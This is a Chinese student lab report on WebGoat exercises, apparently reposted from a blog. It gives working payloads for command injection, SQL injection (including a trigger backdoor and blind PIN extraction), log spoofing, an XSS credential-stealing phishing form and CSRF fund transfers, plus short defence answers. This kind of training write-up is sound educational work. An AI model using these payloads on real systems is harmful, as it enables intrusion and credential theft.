Exp9 Web安全基础
Exp9 Web安全基础
Injection Flaws攻击
- 命令注入(Command Injection)
- 数字型SQL注入(Numeric SQL Injection)
- 日志欺骗(Log Spoofing)
- stage1 SQL Injection
- 字符串型注入(String SQL Injection)
- 数据库后门(Database Backdoors)
- 数字型盲注入(Blind Numeric SQL Injection)
XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
1.实践过程记录
安装jdk和webgoat
卸载原jdk,更换jdk版本为1.8,通过java -version检测
下载webgoat-container-7.0.1-war-exec.jar文件
使用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器中输入“http://localhost:8080/WebGoat”,进入页面后,使用提供的用户名密码登录;
Injection Flaws攻击
1.命令注入(Command Injection)
点击 Injection Flaws -> Command Injection
右键点击复选框,选择inspect Element。对源代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。
点击view,查看命令执行结果
2.数字型SQL注入(Numeric SQL Injection)
点击 Injection Flaws -> Numeric SQL Injectio
右键点击复选框,选择inspect Element。对源代码value="101"修改,在101后面添加or 1=1。
点击Go,攻击成功
3.日志欺骗(Log Spoofing)
点击Injection Flaws -> Log Spoofing
在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin
输入密码后点击Login,可以看到webgoat在Login Fail上一行,自己添加的语句在下一行,攻击成功
4. stage1 SQL Injection
点击Injection Flaws -> LAB stage1 :String SQL Injection
在密码框输入' or 1=1 --,登录失败,发现密码输入长度有限制。
密码框右键选择inspect Element对长度进行修改maxlength=20。
重新输入' or 1=1 --,攻击成功
5.字符串型注入(String SQL Injection)
点击Injection Flaws -> String SQL Injection
输入' or 1=1--,即插入永真式1=1,且--注释掉后面的内容,select表中所有数据
6.数据库后门(Database Backdoors)
点击Injection Flaws -> Database Backdoors
输入101,获得用户信息
输入101; update employee set salary=10000
创建触发器,触发器在创建新用户时,将新用户的Email 地址设置为攻击者的地址。
101;CREATE TRIGGER 1BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE
employee SET email='chm@sohu.com' WHERE userid = NEW.userid
7.数字型盲注入(Blind Numeric SQL Injection)
点击Injection Flaws ->Blind Numeric SQL Injection
有些SQL注入只能通过条件的“真”和“假”进行判断,即页面提示有效或无效。
但也可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;求pin值
输入查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
输入101 ,页面返回Account number is valid,页面将提示帐号有效
利用AND函数,并上查询条件,若条件为真,则返回结果应提示帐号有效,否则无效
输入可以判断PIN数值是否大于3000的语句,101 AND ((SELECT pin FROM pins
WHEREcc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>3000 否则 PIN<=3000
利用二分法,不断尝试最终求出PIN 的值。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins
WHEREcc_number='1111222233334444') = 2364 );
XSS攻击
1.Phishing with XSS
利用xss和html注入制作一个钓鱼网站
在搜索框中输入XSS攻击代码,在已存在的页面中进一步添加元素。XSS攻击代码如下:
</form> <script> functionhack(){ XSSImage=newImage; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.phish.user.value+ "&password=" +document.phish.pass.value+ ""; alert("Had this been a real attack... Your credentials were just stolen. User Name =" +document.phish.user.value+ "Password =" +document.phish.pass.value); }</script> <formname="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <inputtype="text"name="user"> <br>Enter Password:<br> <inputtype="password"name= "pass"> <br> <inputtype="submit"name="login"value="login"onclick="hack()"> </form> <br> <br> <HR>
在搜索框中输入攻击代码后点击搜索,出现要输入用户名密码的表单
输入用户名密码,点击登录,WebGoat显示攻击成功
2.Stored XSS Attacks
创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,
在message中输入<script>alert("lxm attack succeed!");</script>,提交
提交后,再次点击刚刚创建的123帖子,成功弹出窗口,说明攻击成功:
3.Reflected XSS Attacks
这个实验和存储型XSS实验效果相同,但存储型XSS攻击代码是存储在服务器中,反射型XSS攻击需要用户自己去点击链接才能触发XSS代码。
将带有攻击性的URL作为输入源,输入<script>alert("attack succeed!");</script>,点击purchase;
CSRF攻击
1.Cross Site Request Forgery(CSRF)
写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。
在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>
Screen=325&menu=900在右侧可见
提交后,消息显示转走用户4000元,实现CSRF攻击。
2.CSRF Prompt By-Pass
在message中写入以下两行攻击代码
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
构造CSRF攻击,包括了两个请求,转账请求和确认转账成功请求,传递两个参数给服务器
transferFunds=5000,transferFunds=CONFIRM
攻击成功
2.回答问题
(1)SQL注入攻击原理,如何防御
原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。
(2)XSS攻击的原理,如何防御
原理:代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。
如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。
(3)CSRF攻击原理,如何防御
原理:CSRF是借用用户的身份,向web server发送请求,跨站请求伪造。
如何防御:输入验证码来检测用户;设定cookie域。
3.实验总结与体会
通过本次实验,了解了SQL注入攻击,XSS攻击和CSRF的基本原理和操作。在webgoat上的简单注入,修改代码的练习,增加了我对三种攻击方式的理解,
提高了安全意识。
转载于:https://www.cnblogs.com/chm666/p/10923220.html
Exp9 Web安全基础相关推荐
- 20164317《网络对抗技术》Exp9 Web安全基础
Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...
- 2018-2019 20165208 网络对抗 Exp9 Web安全基础
目录 2018-2019 20165208 网络对抗 Exp9 Web安全基础 实验内容 基础问题回答 实践过程记录 1. WebGoat准备 2. SQL注入攻击 2.1 Command Injec ...
- 20155209 林虹宇 Exp9 Web安全基础
Exp9 Web安全基础 XSS 1.Phishing with XSS 跨站脚本攻击,在表单中输入超文本代码 在网页中形成一个自制的登陆表单,然后将结果反馈到自己的主机上. 攻击成功 2.Store ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- 2018-2019 20165226 Exp9 Web安全基础
2018-2019 20165226 Exp9 Web安全基础 目录 一.实验内容说明及基础问题回答 二.实验过程 Webgoat准备 XSS攻击 ① Phishing with XSS 跨站脚本钓鱼 ...
- 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础
2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入 ...
- 20165306 Exp9 Web安全基础
Exp9 Web安全基础 一.实验概述 0.WebGoat准备工作 (一)SQL注入攻击 1.命令注入(Command Injection) 2.数字型SQL注入(Numeric SQL Inject ...
- 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...
- Exp9 Web安全基础实践 20164323段钊阳
网络对抗技术 20164323 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭 ...
最新文章
- 20211江西高考成绩查询,江西高考成绩查询系统
- VTK:Utilities之GetClassName
- python类继承重复_python单例模式,可以继承,不会重复执行初始化函数的版本
- SAP Spartacus Translation (翻译) 相关话题
- [教程]博客园插入视频教程
- createform用法_vue自定义表单生成器form-create使用详解
- Java 算法 聪明的美食家
- Sqlite中文资料
- linux系统查看分区文件系统
- js操作Cookie,js设置Cookie值,js读取Cookie值
- 遇到一个奇怪的问题——关于VS2013、VS2015中字符集(多字节字符集和Unicode字符集)的选择
- 项目管理和软件开发的边界
- jQuery推箱子小游戏
- 牛客网 Cutting Bamboos 【主席树+二分】
- C语言 有两个矩形 求重叠面积,计算两个矩形重叠面积的简单方法
- 在Java中构建响应式微服务系统——第三章 构建响应式微服务
- 中国金属切削液市场深度研究及未来前景分析报告2022-2028年
- 基于stm32之w5500以太网应用
- 【摸鱼系列】如何用Python做一个有趣的Loading彩蛋游戏~
- 常用网络数据包丢失的分析与处理
热门文章
- Oracle 数据库数据排名函数:rank() 和dense_rank() 。
- pyqt 槽任意参数_PyQt5快速入门(二)PyQt5信号槽机制
- Ug文档服务器,ug服务器
- 什么是Servlet?
- 053_Result结果
- 015_SpringBoot视图层技术thymeleaf-URL表达式
- 字符串基本操作 c语言,数据结构C语言字符串的基本操作.doc
- Java中关于路径和使用exe4j打包成ext可执行程序的一些小总结
- activexobject对象不能创建_【设计模式】建造者模式:你创建对象的方式有它丝滑吗?...
- linux链接curl库,Linux利用curl库快速开发http应用